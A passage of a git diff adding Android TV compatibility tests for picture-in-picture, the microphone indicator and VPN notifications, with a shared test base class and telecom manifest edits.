+        Assume.assumeTrue(isPipSupported)
+    }
+
+    override fun onTearDown() {
+        stopPackage(PIP_ACTIVITY.packageName)
+    }
+
+    /** Open an app in pip mode and ensure it has a window but is not focused. */
+    @Test
+    fun openPip_launchedNotFocused() {
+        launchActivity(PIP_ACTIVITY, ACTION_ENTER_PIP)
+        waitForEnterPip()
+
+        assertLaunchedNotFocused()
+    }
+
+    /** Ensure an app can be launched into pip mode from the screensaver state. */
+    @Test
+    fun openPip_afterScreenSaver() {
+        runWithDreamManager { dreamManager ->
+            dreamManager.dream()
+            dreamManager.waitForDream()
+        }
+
+        // Launch pip activity that is supposed to wake up the device
+        launchActivity(
+            activity = PIP_ACTIVITY,
+            action = ACTION_ENTER_PIP,
+            boolExtras = mapOf(PipActivity.EXTRA_TURN_ON_SCREEN to true)
+        )
+        waitForEnterPip()
+
+        assertLaunchedNotFocused()
+        assertTrue("Device must be awake") {
+            runWithDreamManager { dreamManager ->
+                !dreamManager.isDreaming
+            }
+        }
+    }
+
+    /** Ensure an app in pip mode remains open throughout the device dreaming and waking. */
+    @Test
+    fun pipApp_remainsOpen_afterScreensaver() {
+        launchActivity(PIP_ACTIVITY, ACTION_ENTER_PIP)
+        waitForEnterPip()
+
+        runWithDreamManager { dreamManager ->
+            dreamManager.dream()
+            dreamManager.waitForDream()
+            dreamManager.awaken()
+            dreamManager.waitForAwake()
+        }
+
+        assertLaunchedNotFocused()
+    }
+
+    private fun assertLaunchedNotFocused() {
+        wmState.assertActivityDisplayed(PIP_ACTIVITY)
+        wmState.assertNotFocusedWindow("PiP Window must not be focused!",
+            PIP_ACTIVITY.windowName())
+    }
+
+    /** Run the given actions on a dream manager, acquiring appropriate permissions.  */
+    private fun <T> runWithDreamManager(actions: (IDreamManager) -> T): T {
+        val dreamManager: IDreamManager = IDreamManager.Stub.asInterface(
+            ServiceManager.getServiceOrThrow(DreamService.DREAM_SERVICE))
+
+        return SystemUtil.runWithShellPermissionIdentity(ThrowingSupplier {
+            actions(dreamManager)
+        }, READ_DREAM_STATE, WRITE_DREAM_STATE)
+    }
+
+    /** Wait for the device to enter dream state. Throw on timeout. */
+    private fun IDreamManager.waitForDream() {
+        val message = "Device must be dreaming!"
+        Condition.waitFor(message) {
+            isDreaming
+        } || error(message)
+    }
+
+    /** Wait for the device to awaken. Throw on timeout. */
+    private fun IDreamManager.waitForAwake() {
+        val message = "Device must be awake!"
+        Condition.waitFor(message) {
+            !isDreaming
+        } || error(message)
+    }
+
+    /** Waits until the pip animation has finished and the app is fully in pip mode. */
+    private fun waitForEnterPip() {
+        wmState.waitForWithAmState("checking task windowing mode") { state: WindowManagerState ->
+            state.getTaskByActivity(PIP_ACTIVITY)?.let { task ->
+                task.windowingMode == WindowConfiguration.WINDOWING_MODE_PINNED
+            } ?: false
+        } || error("Task ${PIP_ACTIVITY.flattenToShortString()} is not found or not pinned!")
+
+        wmState.waitForWithAmState("checking activity windowing mode") {
+            state: WindowManagerState ->
+            state.getTaskByActivity(PIP_ACTIVITY)?.getActivity(PIP_ACTIVITY)?.let { activity ->
+                activity.windowingMode == WindowConfiguration.WINDOWING_MODE_PINNED &&
+                    activity.state == WindowManagerState.STATE_PAUSED
+            } ?: false
+        } || error("Activity ${PIP_ACTIVITY.flattenToShortString()} is not found," +
+            " not pinned or not paused!")
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt b/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt
new file mode 100644
index 0000000..2a233c9
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/MicIndicatorTest.kt
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.content.ComponentName
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.annotation.Group2
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * Tests microphone indicator.
+ *
+ * Build/Install/Run:
+ * atest CtsSystemUiTestCases:MicIndicatorTest
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+class MicIndicatorTest : TvTestBase() {
+    companion object {
+        private val AUDIO_RECORD_API_SERVICE = ComponentName.createRelative(
+                "android.systemui.cts.audiorecorder.audiorecord", ".AudioRecorderService")
+        private val MEDIA_RECORDER_API_SERVICE = ComponentName.createRelative(
+                "android.systemui.cts.audiorecorder.mediarecorder", ".AudioRecorderService")
+
+        private const val ACTION_THROW = "android.systemui.cts.audiorecorder.ACTION_THROW"
+        private const val ACTION_STOP = "android.systemui.cts.audiorecorder.ACTION_STOP"
+        private const val ACTION_START = "android.systemui.cts.audiorecorder.ACTION_START"
+
+        private const val MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
+    }
+
+    override fun onSetUp() {
+        assertIndicatorWindowGone()
+    }
+
+    override fun onTearDown() {
+        stopPackage(AUDIO_RECORD_API_SERVICE.packageName)
+        stopPackage(MEDIA_RECORDER_API_SERVICE.packageName)
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_STOP)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi() {
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_STOP)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi_until_forceStopped() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        stopPackage(AUDIO_RECORD_API_SERVICE.packageName)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi_until_forceStopped() {
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        stopPackage(MEDIA_RECORDER_API_SERVICE.packageName)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi_until_crashed() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_THROW)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi_until_crashed() {
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_THROW)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsingBothApisSimultaneously() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_STOP)
+        // The indicator should stay on, since the MR is still running.
+        assertIndicatorWindowVisible()
+
+        // Give it 5s, and make sure indicator is still there.
+        Thread.sleep(5_000)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_STOP)
+        // Now it should go.
+        assertIndicatorWindowGone()
+    }
+
+    private fun assertIndicatorWindowVisible() {
+        wmState.waitFor("Waiting for the mic indicator window to come up") {
+            it.containsWindow(MIC_INDICATOR_WINDOW_TITLE) &&
+                    it.isWindowVisible(MIC_INDICATOR_WINDOW_TITLE)
+        } || error("Mic indicator window is not visible.")
+    }
+
+    private fun assertIndicatorWindowGone() {
+        wmState.waitFor("Waiting for the mic indicator window to disappear") {
+            !it.containsWindow(MIC_INDICATOR_WINDOW_TITLE)
+        } || error("Mic indicator window is present (should be gone).")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt b/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt b/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt
new file mode 100644
index 0000000..4747278
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.Manifest.permission.FORCE_STOP_PACKAGES
+import android.app.ActivityManager
+import android.app.IActivityManager
+import android.app.IProcessObserver
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Context
+import android.content.pm.PackageManager
+import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_LEANBACK_ONLY
+import android.os.SystemClock
+import android.server.wm.UiDeviceUtils
+import android.server.wm.WindowManagerStateHelper
+import android.systemui.tv.cts.ResourceNames.SYSTEM_UI_PACKAGE
+import android.util.Log
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert.assertFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import java.io.IOException
+
+abstract class TvTestBase {
+    companion object {
+        private const val TAG = "TvTestBase"
+        private const val AFTER_TEST_PROCESS_CHECK_DELAY = 1_000L // 1 sec
+    }
+
+    protected val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    protected val context: Context = instrumentation.context
+    protected val packageManager: PackageManager = context.packageManager
+            ?: error("Could not get a PackageManager")
+    protected val activityManager: ActivityManager =
+            context.getSystemService(ActivityManager::class.java)
+                    ?: error("Could not get a ActivityManager")
+    protected val wmState: WindowManagerStateHelper = WindowManagerStateHelper()
+    private val isTelevision: Boolean
+        get() = packageManager.run {
+            hasSystemFeature(FEATURE_LEANBACK) || hasSystemFeature(FEATURE_LEANBACK_ONLY)
+        }
+    private val systemUiProcessObserver = SystemUiProcessObserver()
+
+    @Before
+    fun setUp() {
+        assumeTrue(isTelevision)
+
+        systemUiProcessObserver.start()
+
+        UiDeviceUtils.pressWakeupButton()
+        UiDeviceUtils.pressUnlockButton()
+
+        onSetUp()
+    }
+
+    @After
+    fun tearDown() {
+        if (!isTelevision) return
+
+        onTearDown()
+
+        SystemClock.sleep(AFTER_TEST_PROCESS_CHECK_DELAY)
+        systemUiProcessObserver.stop()
+        assertFalse("SystemUI has died during test execution", systemUiProcessObserver.hasDied)
+    }
+
+    abstract fun onSetUp()
+
+    abstract fun onTearDown()
+
+    protected fun launchActivity(
+        activity: ComponentName? = null,
+        action: String? = null,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ) {
+        require(activity != null || !action.isNullOrBlank()) {
+            "Cannot launch an activity with neither activity name nor action!"
+        }
+        val command = composeAmShellCommand(
+                "start", activity, action, flags, boolExtras, intExtras, stringExtras)
+        executeShellCommand(command)
+    }
+
+    protected fun startForegroundService(
+        service: ComponentName,
+        action: String? = null
+    ) {
+        val command = composeAmShellCommand("start-foreground-service", service, action)
+        executeShellCommand(command)
+    }
+
+    protected fun sendBroadcast(
+        action: String,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ) {
+        val command = composeAmShellCommand(
+                "broadcast", null, action, flags, boolExtras, intExtras, stringExtras)
+        executeShellCommand(command)
+    }
+
+    protected fun stopPackage(packageName: String) {
+        SystemUtil.runWithShellPermissionIdentity({
+            activityManager.forceStopPackage(packageName)
+        }, FORCE_STOP_PACKAGES)
+    }
+
+    private fun composeAmShellCommand(
+        command: String,
+        component: ComponentName?,
+        action: String? = null,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ): String = buildString {
+        append("am ")
+        append(command)
+        component?.let {
+            append(" -n ")
+            append(it.flattenToShortString())
+        }
+        action?.let {
+            append(" -a ")
+            append(it)
+        }
+        flags.forEach {
+            append(" -f ")
+            append(it)
+        }
+        boolExtras.forEach {
+            append(it.withFlag("ez"))
+        }
+        intExtras.forEach {
+            append(it.withFlag("ei"))
+        }
+        stringExtras.forEach {
+            append(it.withFlag("es"))
+        }
+    }
+
+    private fun Map.Entry<String, *>.withFlag(flag: String): String = " --$flag $key $value"
+
+    protected fun executeShellCommand(cmd: String): String {
+        try {
+            return SystemUtil.runShellCommand(instrumentation, cmd)
+        } catch (e: IOException) {
+            Log.e(TAG, "Error running shell command: $cmd")
+            throw e
+        }
+    }
+
+    inner class SystemUiProcessObserver : IProcessObserver.Stub() {
+        private val activityManager: IActivityManager = ActivityManager.getService()
+        private val uiAutomation = instrumentation.uiAutomation
+        private val systemUiUid = packageManager.getPackageUid(SYSTEM_UI_PACKAGE, 0)
+        var hasDied: Boolean = false
+
+        fun start() {
+            hasDied = false
+            uiAutomation.adoptShellPermissionIdentity(
+                    android.Manifest.permission.SET_ACTIVITY_WATCHER)
+            activityManager.registerProcessObserver(this)
+        }
+
+        fun stop() {
+            activityManager.unregisterProcessObserver(this)
+            uiAutomation.dropShellPermissionIdentity()
+        }
+
+        override fun onForegroundActivitiesChanged(pid: Int, uid: Int, foreground: Boolean) {}
+
+        override fun onForegroundServicesChanged(pid: Int, uid: Int, serviceTypes: Int) {}
+
+        override fun onProcessDied(pid: Int, uid: Int) {
+            if (uid == systemUiUid) hasDied = true
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
new file mode 100644
index 0000000..6b54652
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.app.Notification
+import android.content.ComponentName
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.annotation.Group2
+import android.service.notification.StatusBarNotification
+import android.systemui.cts.NotificationListener
+import android.systemui.tv.cts.ResourceNames.SYSTEM_UI_PACKAGE
+import android.util.Log
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.Until
+import com.android.internal.messages.nano.SystemMessageProto
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertNotNull
+import kotlin.test.assertTrue
+
+/**
+ * Tests VPN disclosure notifications.
+ *
+ * Build/Install/Run:
+ * atest VpnDisclosureTest
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+class VpnDisclosureTest : TvTestBase() {
+    companion object {
+        private const val TAG = "VpnDisclosureTest"
+        private const val VPN_PACKAGE = "com.android.cts.vpnfirewall"
+        private val VPN_CONTROL_ACTIVITY = ComponentName.createRelative(VPN_PACKAGE, ".VpnClient")
+        private const val ACTION_CONNECT_AND_FINISH = "$VPN_PACKAGE.action.CONNECT_AND_FINISH"
+        private const val ACTION_DISCONNECT_AND_FINISH = "$VPN_PACKAGE.action.DISCONNECT_AND_FINISH"
+
+        private const val VPN_CONFIRM_ALERT_ACCEPT_BUTTON = "android:id/button1"
+        private const val CONFIRM_VPN_TIMEOUT_MS = 3_000L
+    }
+
+    @Before
+    override fun onSetUp() {
+        NotificationListener.startNotificationListener()
+    }
+
+    @After
+    override fun onTearDown() {
+        stopVpnConnection()
+        NotificationListener.stopNotificationListener()
+    }
+
+    @Test
+    fun vpnDisclosure_connectedNotificationShown_afterConnectedToVpn() {
+        startVpnConnection()
+        assertVpnConnectedNotificationPresent()
+
+        // Connected notification should be ongoing and persistent
+        Thread.sleep(7_000)
+        assertVpnConnectedNotificationPresent()
+    }
+
+    @Test
+    fun vpnDisclosure_disconnectedNotificationShown_afterDisonnectedFromVpn() {
+        startVpnConnection()
+        // Short timeout to settle down the connection and notification
+        Thread.sleep(1_000)
+        stopVpnConnection()
+
+        assertVpnDisconnectedNotificationPresent()
+        // Disconnected notification should be short lived
+        Thread.sleep(7_000)
+        assertNoVpnNotificationsPresent()
+    }
+
+    private fun assertVpnConnectedNotificationPresent() {
+        assertNotNull(
+                NotificationListener.waitForNotificationToAppear {
+                    it.isVpnConnectedNotification
+                }, "Vpn connected notification not found!"
+        )
+    }
+
+    private fun assertVpnDisconnectedNotificationPresent() {
+        assertNotNull(
+                NotificationListener.waitForNotificationToAppear {
+                    it.isVpnDisconnectedNotification
+                }, "Vpn disconnected notification not found!"
+        )
+    }
+
+    private fun assertNoVpnNotificationsPresent() {
+        assertTrue(
+                NotificationListener.waitForNotificationToDisappear {
+                    it.isVpnConnectedNotification || it.isVpnDisconnectedNotification
+                }, "Vpn notification(s) still present!"
+        )
+    }
+
+    private fun startVpnConnection() {
+        launchActivity(VPN_CONTROL_ACTIVITY, ACTION_CONNECT_AND_FINISH)
+        // Accept the VPN confirmation alert (if it appears)
+        uiDevice.wait(Until.findObject(
+                By.res(VPN_CONFIRM_ALERT_ACCEPT_BUTTON)), CONFIRM_VPN_TIMEOUT_MS)?.click()
+                ?: Log.w(TAG, "VPN confirmation dialog was not shown. " +
+                        "Was this VPN connection accepted before?")
+    }
+
+    private fun stopVpnConnection() {
+        launchActivity(VPN_CONTROL_ACTIVITY, ACTION_DISCONNECT_AND_FINISH)
+    }
+
+    private val StatusBarNotification.isVpnConnectedNotification: Boolean
+        get() = id == SystemMessageProto.SystemMessage.NOTE_VPN_STATUS &&
+                SYSTEM_UI_PACKAGE == packageName &&
+                (notification.flags and Notification.FLAG_ONGOING_EVENT) != 0
+
+    private val StatusBarNotification.isVpnDisconnectedNotification: Boolean
+        get() = id == SystemMessageProto.SystemMessage.NOTE_VPN_DISCONNECTED &&
+                SYSTEM_UI_PACKAGE == packageName
+}
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 437743a..feb5e8f 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "car-mode-app-srcs",
     srcs: [
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index e71a878..5efc1db 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -15,56 +15,61 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom.cts"
-    android:sharedUserId="android.telecom.cts">
-    <uses-sdk android:minSdkVersion="21" />
-    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
-    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
-    <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
-    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
-    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+     package="android.telecom.cts"
+     android:sharedUserId="android.telecom.cts">
+    <uses-sdk android:minSdkVersion="21"/>
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
+    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER"/>
+    <uses-permission android:name="android.permission.ACCEPT_HANDOVER"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED"/>
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS"/>
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
     <uses-permission android:name="android.permission.MANAGE_ROLE_HOLDERS" />
     <uses-permission android:name="android.permission.MANAGE_USERS" />
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.CtsRemoteConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.MockInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
@@ -75,87 +80,92 @@
         </service>
 
         <service android:name="android.telecom.cts.MockCallScreeningService"
-            android:permission="android.permission.BIND_SCREENING_SERVICE"
-            android:enabled="false" >
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.CallScreeningService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsPhoneAccountSuggestionService"
-                 android:permission="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
-                 android:enabled="false" >
+             android:permission="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.PhoneAccountSuggestionService"/>
             </intent-filter>
         </service>
 
         <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-            android:exported="true"
-            android:singleUser="true" >
+             android:exported="true"
+             android:singleUser="true">
             <intent-filter>
                 <action android:name="android.telecom.cts.InsertBlockedNumber"/>
                 <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
             </intent-filter>
         </service>
 
-        <receiver android:name="android.telecom.cts.MockMissedCallNotificationReceiver">
+        <receiver android:name="android.telecom.cts.MockMissedCallNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
                 <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name="android.telecom.cts.NewOutgoingCallBroadcastReceiver">
+        <receiver android:name="android.telecom.cts.NewOutgoingCallBroadcastReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name="android.telecom.cts.MockDialerActivity">
+        <activity android:name="android.telecom.cts.MockDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
